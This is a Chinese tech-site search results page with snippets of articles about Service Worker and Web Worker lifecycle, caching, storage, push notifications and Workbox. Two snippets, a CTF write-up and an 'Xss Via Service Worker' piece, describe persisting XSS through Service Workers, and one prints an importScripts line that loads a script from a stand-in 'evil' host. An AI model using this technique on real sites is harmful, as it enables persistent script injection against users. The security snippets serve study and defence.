首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

JavaScript 是如何工作的:Service Worker 的生命周期及使用场景

JavaScript是如何工作的:事件循环和异步编程的崛起+ 5种使用 async/await 更好地编码方式!...JavaScript是如何工作: 深入探索 websocket 和HTTP/2与SSE +如何选择正确的路径! JavaScript是如何工作的:与 WebAssembly比较 及其使用场景 !...JavaScript是如何工作的:Web Workers的构建块+ 5个使用他们的场景 ?...在这篇文章中,将深入探讨 Service Workers:它们是如何工作,你应该关心什么。最后,还列出了 Service Workers 中的一些独特优点在哪些场景下是值得我们使用的。...最重要的是,如果在页面上安装一个 Service Worker,就可能会有延迟加载和渲染的风险 —— 而不是尽快让你的用户可以使用该页面。 注意,这种情况对第一次的访问页面时才会有。

92610
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    【译】使用默认方式更新service worker

    如果你已经使用Cache-Control: max-age=0为/service-worker.js脚本指定了HTTP缓存,那么由于新的默认行为,你应该不会看到/service-worker.js脚本任何更改...出于本文的目的考虑,我们先假设其URL为/service-worker.js,并包含单个importScripts()引入脚本,这样调用将加载在service worker中运行的其他代码。...这些值决定了对于检查 service worker 更新而发出HTTP请求,浏览器的HTTP缓存是否起作用以及如何发挥作用。...()引入的service worker脚本将仅被检索一次(检查是使用HTTP缓存还是通过网络请求,者取决于updateViaCache的值)。...扩展阅读 对于Web开发者,建议阅读Jake Archibald的The Service Worker Lifecycle和Caching best practices & max-age gotchas

    2.2K10

    探索 | 我只是想保存一个 Key!

    最近在写 BlogOnNpm 自动更新版本号功能的时候在储存数据方面遇到了个问题,就有了这篇文章 正文 # 如题,如何在 Service Worker 中储存数据?...Web API | MDN 但如果我想要在 Service Worker 中进行数据的储存和读取,使用 localStorage,就会发生这样的事情 对,你没看错,sw.js 中会报 localStorage...不同的是,这种方法是 Service Worker 将需要储存的数据发送到 Window 线程,在 Window 线程中进行数据的存储 这是 Message Channel API 和 Broadcast...也是异步执行) 使用 Cache 储存数据 # Service Worker 中的 Cache API 也可以用来储存数据,常规的 Cache 是用来缓存一些资源(比如 html),因此,如果你要直接使用...,这里我们使用 ChenYFan 大佬的 Cache-DB 库来实现 这个库返回的仍然是 Promise,因此用法和 localForage 类似 这里是一段演示代码: // sw.js self.importScripts

    10610

    从一道CTF学习Service Worker的利用

    ";, 所以此题需要使XSS跨域持久化,这就涉及到本文的主角:Service Worker,通过它和其他页面的跨域操作可以让XSS持久化。...注册Service Worker 要使用SW,需要先注册,有两种方法注册SW:1. 通过JS;2....有了这个JSONP,使用 importScripts 就可以在SW注册时引入任意https脚本:importScripts('https://my_site.com/my_evil.js'); 利用脚本...Service Worker有效时间 在每个Service Worker授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。...基于Service Worker 的XSS攻击面拓展 如何利用/防御 Service Worker TCTF/0CTF2018 h4x0rs.space Writeup 2020西湖论剑部分web_wp

    1.2K40

    Service Worker 实现 web 应用消息推送

    Service Worker 介绍 Service Worker 是事件驱动的 worker,生命周期与页面无关,关联页面未关闭时,它也可以退出,没有关联页面时,它也可以启动. service worker...从 API 的使用规范来看,消息推送与通知弹窗的关联比较密切,基本上使用的业务场景仅限制在消息通知范围。 1.3....状态管理 Service worker 有两类状态,一类是 service worker 线程的运行状态,另一类是 service worker 脚本版本的状态。...Service worker 线程的运行状态, 一般对应 service worker 线程的状态,这类状态只保存在内存中。...个人博客案例:fredliang.cn 4.1 InjectManifest 默认注入的部分(使用打包到本地的 workbox 库) // dist/service-worker.js importScripts

    2.4K20

    HTML 5 Web Workers 的基本信息

    ()/clearInterval() 应用缓存 使用 importScripts() 方法导入外部脚本 生成其他 Web Worker Worker 无法使用: DOM(非线程安全) window 对象...此示例将 script1.js 和 script2.js 加载到了 Worker 中: worker.js: importScripts('script1.js'); importScripts('script2...完整示例 再进行一个步骤,我们就会清楚如何将 Worker 的 JavaScript 代码内嵌在网页中了。 此技术使用 标签定义 Worker: worker1" 和 type='javascript/worker' 定义脚本标记(这样浏览器就不会解析 JavaScript 了)。...加载外部脚本 在使用这些技术内嵌 Worker 代码时,importScripts() 只会在您提供绝对 URI 的情况下生效。如果您尝试传递相对 URI,浏览器就会提示出现安全错误。

    1.2K10

    PWA离线优先策略:提升用户体验的关键步骤

    Progressive Web Apps (PWA) 的离线优先策略是通过Service Worker和Cache API实现的,它允许在没有网络连接时仍然可以访问网站的部分或全部内容。1....配置manifest文件:创建一个manifest.json文件,定义应用的元数据和离线图标:{ "short_name": "My App", "name": "My Awesome Progressive...使用Service Worker拦截网络请求Service Worker还可以用于拦截特定类型的网络请求,例如API调用。...集成WebSocket支持如果你的应用使用WebSocket进行实时通信,可以使用workbox-websocket库在Service Worker中处理WebSocket连接,确保在离线时能够接收和发送消息...测试和监控确保在不同网络条件下测试你的PWA,包括2G、3G和离线状态。可以使用Chrome开发者工具的模拟网络条件功能。同时,使用Lighthouse等工具定期评估PWA的性能和离线体验。14.

    18000

    Workbox5+Webpack4构建离线应用

    那么问题来了,Service worker离线缓存和传统的缓存方式对比,有什么优势和劣势呢,service worker之所以越来越流行,是因为它让前端缓存脱离了服务端,不需要服务端再额外做些什么,前端工程师自己就可以实现缓存...不适用: 需要使用service worker 其他功能的场景,如push等 需要在service worker中导入其他脚本或添加其他逻辑 具体的配置文件可查阅官方文档,本文示例使用的是第二种方式...使用service worker其他特性 如果你只想简单的引入service worker,建议使用第一种方式 第二步:注册Service Worker 配置好插件之后,我们需要在项目中注册service...,在我们的项目中我们使用register-service-workernpm包注册service worker并添加一下自定义事件,方便后期进行更新和离线事件的处理。.../sw-register'; registerSW('sw.js'); 第三步:自定义Service Worker缓存配置 如果我们使用injectMainfest的方式引入servicce worker

    1.3K10

    你不知道的 Web Workers

    :Web Workers 的限制与能力及主线程与 Web Workers 之间如何通信; Web Workers 的分类:Dedicated Worker、Shared Worker 和 Service...那么如何解决这个问题呢?嘿嘿,当然是使用本文的主角 —— Web Workers。...四、Web Workers 的分类 Web Worker 规范中定义了两类工作线程,分别是专用线程 Dedicated Worker 和共享线程 Shared Worker,其中,Dedicated Worker...专用线程 Dedicated Worker:importScripts 其实在 Web Worker 中,我们也可以使用 importScripts 方法将一个或多个脚本同步导入到 Web Worker...4.3 Service Workers Service workers 本质上充当 Web 应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。

    1.5K10

    Web性能优化之Worker线程(上).md

    worker线程使用「独立的进程」 创建worker线程的开销更大:工作者线程有自己「独立的」事件循环、全局对象、事件处理程序和其他 JS 环境必需的特性。...任何与「创建」共享工作者线程的脚本「同源」的脚本,都可以向共享工作者线程发送消息或从中接收消息 服务工作线程Service Worker:主要用途是「拦截」、「重定向」和「修改页面发出的请求」,充当「网络请求...虽然父上下文中可以立即使用这个 Worker 对象,但与之关联的工作线程可能还没有创建,因为「存在请求脚本的网格延迟和初始化延迟」。...动态执行脚本 ❝工作线程可以使用 importScripts()方法通过编程方式「加载和执行任意脚本」 ❞ 这个方法会加载脚本并按照「加载顺序同步执行」。...❞ 因为,前端框架的特殊性,虽然在worker中可以使用importScripts()加载任意脚本,但是那些都是在worker同目录或者是利用绝对路径进行引用。很不方便。

    1.3K10

    如何使用Lightrun检测、调查和验证安全事件和0 Day问题的修复

    在Lightrun的应用中,涵盖了应用程序安全的主要里程碑:发现问题、评估漏洞、证明漏洞,以及验证修复。Lightrun在这种独特的用法中表现出色。 安全是一个具有深度和广度的广阔主题。...因此,开发人员可能很难执行可操作的安全任务和验证。如果安全问题在本地重现,那很好,可以及时解决。企业通常可以使用调试器来填补空白。但是,一些安全问题很难在生产环境之外重现。...(4)到期 Lightrun操作的默认过期时间为一小时。希望让服务器保持快速和灵活,以便终止不需要的操作。在这种情况下,希望在修复完成之前执行该操作,因此将到期值设置为60小时。...(2)证书固定和OIDC Lightrun服务器的代理和客户端使用证书固定来防止复杂的中间人攻击。 Lightrun使用OpenI DConnect(OIDC)在其工具中提供经过验证的安全授权。...个人身份信息 (PII)减少能够定义有风险的模式,并且这些模式将从日志中隐式删除。因此,无需清除此类日志,也不会让自己面临潜在的监管责任。

    1.2K20

    Xss Via Service Worker

    Service Worker - xss...Service Worker下文简称sw,在我的理解看来就类似于一个filter,是介于服务器与客户端之间的一个中间人,它会拦截当前网站的所有请求,根据其编写的逻辑,在请求需要转发给服务器时进行转发,否则就使用离线缓存...sw它算是一个独立的,运行在浏览器后台的脚本,因此用它来执行消耗大资源的程度时并不会对主线程造成阻塞;Service Worker 是一个浏览器中的进程而不是浏览器内核下的线程,因此它在被注册安装之后,...fetch事件做的是每当sw向服务器发起请求的时候这个事件就会被触发,当然了有一个限制就是页面的路径不能大于 Service Worker 的 scope,不然 fetch 事件是无法被触发的。...一个比较常见的就是利用jsonp达成xss,但需要注意到的是navigator.serviceWorker.register无法加载跨域的js脚本,然而可以通过importScripts方法进行加载,当然了同样需要是

    42220

    web worker的介绍和使用

    简介 什么是web worker呢?从名字上就可以看出,web worker就是在web应用程序中使用的worker。这个worker是独立于web主线程的,在后台运行的线程。...web worker的优点就是可以将工作交给独立的其他线程去做,这样就不会阻塞主线程。 Web Workers的基本概念和使用 web workers是通过使用Worker()来创建的。...我们看一下worker的定义: interface Worker extends EventTarget, AbstractWorker { onmessage: ((this: Worker,...如果worker的script比较复杂,需要用到其他的script文件,我们可以使用importScripts来导入其他的脚本: importScripts();...worker和main thread之间的数据传输 我们知道worker和main thread之间是通过postMessage和onMessage进行交互的。这里面涉及到了数据传输的问题。

    87741

    Arcgis js多线程克里金插值初体验

    最近做关于雨量插值的项目,本来使用后台的GP工具做的,但是处理时间比较长需要十几秒钟左右,所以研究怎么通过前台来计算。...参考下克里金例子,思路是生成要计算区域的100乘以100网格,然后通过函数进行计算该网格克里金值,最后利用网格和值进行渲染,使用该方法绘制速度有所提高,七秒左右就能绘制完成,不过速度还是能提高的,提高的要诀是使用多线程...多线程使用比较简单,只要new worker('krigingworker.js'),然后通过postmessage以及onmessage与主线程和多线程中通讯。...中使用别的脚本要使用importScripts导入,当需要传递参数可以transferable object(通讯时会比较快,参考worker使用),本次项目中使用Float64Array.看几个初始化范例...//定义一个字节为10248的Float64Array var buffer=new ArrayBuffer(10248) var a =new Float64Array(buffer); //定义一个长度为

    1.2K30
    领券